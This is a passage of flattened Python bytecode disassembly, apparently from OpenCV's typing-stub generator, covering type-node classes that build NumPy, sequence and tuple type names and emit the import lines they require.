'ConditionalAliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab54381b70, file "f.py", line 509> LOAD_CONST 'ConditionalAliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'shape', 'dtype') BUILD_CONST_KEY_MAP LOAD_CONST <code object numpy_array_ at 0x7fab54381810, file "f.py", line 520> LOAD_CONST 'ConditionalAliasTypeNode.numpy_array_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME numpy_array_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST condition LOAD_FAST self STORE_ATTR condition LOAD_FAST positive_branch_type LOAD_FAST self STORE_ATTR positive_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR positive_branch_type STORE_ATTR ctype_name LOAD_FAST negative_branch_type LOAD_FAST self STORE_ATTR negative_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR negative_branch_type STORE_ATTR ctype_name LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST condition_required_imports LOAD_FAST self STORE_ATTR _condition_required_imports LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR _condition_required_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR is_resolved JUMP_IF_FALSE_OR_POP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 30 LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 86 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 72 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 86 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_CONST '_typing.TYPE_CHECKING' LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype CALL_FUNCTION LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype LOAD_CONST False LOAD_CONST ('use_numpy_generics',) CALL_FUNCTION LOAD_CONST ('import typing as _typing',) LOAD_CONST ('condition_required_imports',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NDArrayTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing NumPy ndarray.' STORE_NAME __doc__ LOAD_CONST (None, None, True) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('ctype_name', 'shape', 'dtype', 'use_numpy_generics', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab54381d20, file "f.py", line 541> LOAD_CONST 'NDArrayTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab543811e0, file "f.py", line 553> LOAD_CONST 'NDArrayTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab54381150, file "f.py", line 560> LOAD_CONST 'NDArrayTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST shape LOAD_FAST self STORE_ATTR shape LOAD_FAST dtype LOAD_FAST self STORE_ATTR dtype LOAD_FAST use_numpy_generics LOAD_FAST self STORE_ATTR _use_numpy_generics LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _use_numpy_generics POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype JUMP_FORWARD to 24 LOAD_CONST 'numpy.generic' STORE_FAST dtype LOAD_CONST 'numpy.ndarray[_typing.Any, numpy.dtype[' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ']]' BUILD_STRING RETURN_VALUE LOAD_CONST 'numpy.ndarray' RETURN_VALUE LOAD_CONST 'import numpy' YIELD_VALUE POP_TOP LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ASTNodeTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a lazy ASTNode corresponding to type of\n function argument or its return type or type of class property.\n Introduced laziness nature resolves the types visibility issue - all types\n should be known during function declaration to select an appropriate node\n from the AST. Such knowledge leads to evaluation of all preprocessor\n directives (`#include` particularly) for each processed header and might be\n too expensive and error prone.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'module_name', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab543819c0, file "f.py", line 576> LOAD_CONST 'ASTNodeTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object ast_node at 0x7fab543e7810, file "f.py", line 587> LOAD_CONST 'ASTNodeTypeNode.ast_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ast_node LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab543e7ed0, file "f.py", line 591> LOAD_CONST 'ASTNodeTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab543e7f60, file "f.py", line 604> LOAD_CONST 'ASTNodeTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab543e78a0, file "f.py", line 619> LOAD_CONST 'ASTNodeTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab543e7930, file "f.py", line 635> LOAD_CONST 'ASTNodeTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab543e75d0, file "f.py", line 639> LOAD_CONST 'ASTNodeTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab543e7660, file "f.py", line 652> LOAD_CONST 'ASTNodeTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_FAST module_name LOAD_FAST self STORE_ATTR _module_name LOAD_CONST None LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 88 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR full_export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 86 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST parent LOAD_ATTR full_export_name LOAD_CONST '.' BINARY_ADD LOAD_FAST typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST '.' BINARY_ADD LOAD_FAST self LOAD_ATTR _typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't find a module for class '{}' exported as '{}'" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST module SETUP_LOOP to 72 LOAD_FAST module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR parent STORE_FAST module JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 'import ' LOAD_FAST module LOAD_ATTR full_export_name BINARY_ADD YIELD_VALUE POP_TOP JUMP_FORWARD to 98 LOAD_CONST 'import ' LOAD_FAST self LOAD_ATTR _module_name BINARY_ADD YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not RETURN_VALUE LOAD_FAST self LOAD_ATTR is_resolved POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST root LOAD_FAST self LOAD_ATTR typename CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL weakref LOAD_METHOD proxy LOAD_FAST node CALL_METHOD LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "'{}' exported as '{}' is not resolved yet" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST type_module SETUP_LOOP to 82 LOAD_FAST type_module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST type_module LOAD_ATTR parent STORE_FAST type_module JUMP_ABSOLUTE POP_BLOCK LOAD_FAST type_module LOAD_ATTR full_export_name STORE_FAST module_name JUMP_FORWARD to 96 LOAD_FAST self LOAD_ATTR _module_name STORE_FAST module_name LOAD_FAST module_name LOAD_FAST module COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename LOAD_GLOBAL len LOAD_FAST module_name CALL_FUNCTION LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AggregatedTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for type nodes representing an aggregation of another\n type nodes e.g. tuple, sequence or callable.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'items', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab4107cae0, file "f.py", line 674> LOAD_CONST 'AggregatedTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab4107ce40, file "f.py", line 678> LOAD_CONST 'AggregatedTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab4107c930, file "f.py", line 682> LOAD_CONST 'AggregatedTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST <code object __iter__ at 0x7fab4107c810, file "f.py", line 696> LOAD_CONST 'AggregatedTypeNode.__iter__' MAKE_FUNCTION STORE_NAME __iter__ LOAD_NAME int LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __len__ at 0x7fab4107c6f0, file "f.py", line 699> LOAD_CONST 'AggregatedTypeNode.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab4107c660, file "f.py", line 702> LOAD_CONST 'AggregatedTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab4107c420, file "f.py", line 707> LOAD_CONST 'AggregatedTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_GLOBAL list LOAD_FAST items CALL_FUNCTION LOAD_FAST self STORE_ATTR items LOAD_CONST None RETURN_VALUE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab4107c1e0, file "f.py", line 680> LOAD_CONST 'AggregatedTypeNode.is_resolved.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR items GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR is_resolved YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST errors SETUP_LOOP to 92 LOAD_GLOBAL filter LOAD_CONST <code object <lambda> at 0x7fab4107c4b0, file "f.py", line 684> LOAD_CONST 'AggregatedTypeNode.resolve.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST self CALL_FUNCTION GET_ITER FOR_ITER to 90 STORE_FAST item SETUP_EXCEPT to 40 LOAD_FAST item LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 74 LOAD_FAST errors LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST errors CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve one of "{}" items. Errors: {}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR full_typename LOAD_FAST errors CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST item LOAD_ATTR is_resolved UNARY_NOT RETURN_VALUE LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for all type nodes representing a container type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab4107cf60, file "f.py", line 716> LOAD_CONST 'ContainerTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab42aaa030, file "f.py", line 722> LOAD_CONST 'ContainerTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab42aaa150, file "f.py", line 728> LOAD_CONST 'ContainerTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab42aaa1e0, file "f.py", line 733> LOAD_CONST 'ContainerTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab42aaa270, file "f.py", line 738> LOAD_CONST 'ContainerTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aaa300, file "f.py", line 744> LOAD_CONST 'ContainerTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aaa390, file "f.py", line 748> LOAD_CONST 'ContainerTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab4107ced0, file "f.py", line 719> LOAD_CONST 'ContainerTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab4107c270, file "f.py", line 725> LOAD_CONST 'ContainerTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab42aaa0c0, file "f.py", line 730> LOAD_CONST 'ContainerTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST item LOAD_FAST item LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SequenceTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous collection of elements with\n possible unknown length.\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'item', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42aaa4b0, file "f.py", line 758> LOAD_CONST 'SequenceTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aaa540, file "f.py", line 761> LOAD_CONST 'SequenceTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aaa5d0, file "f.py", line 765> LOAD_CONST 'SequenceTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST item BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Sequence[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TupleTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing possibly heterogeneous collection of types with\n possibly unspecified length.\n ' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aaa810, file "f.py", line 775> LOAD_CONST 'TupleTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aaa8a0, file "f.py", line 781> LOAD_CONST 'TupleTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL 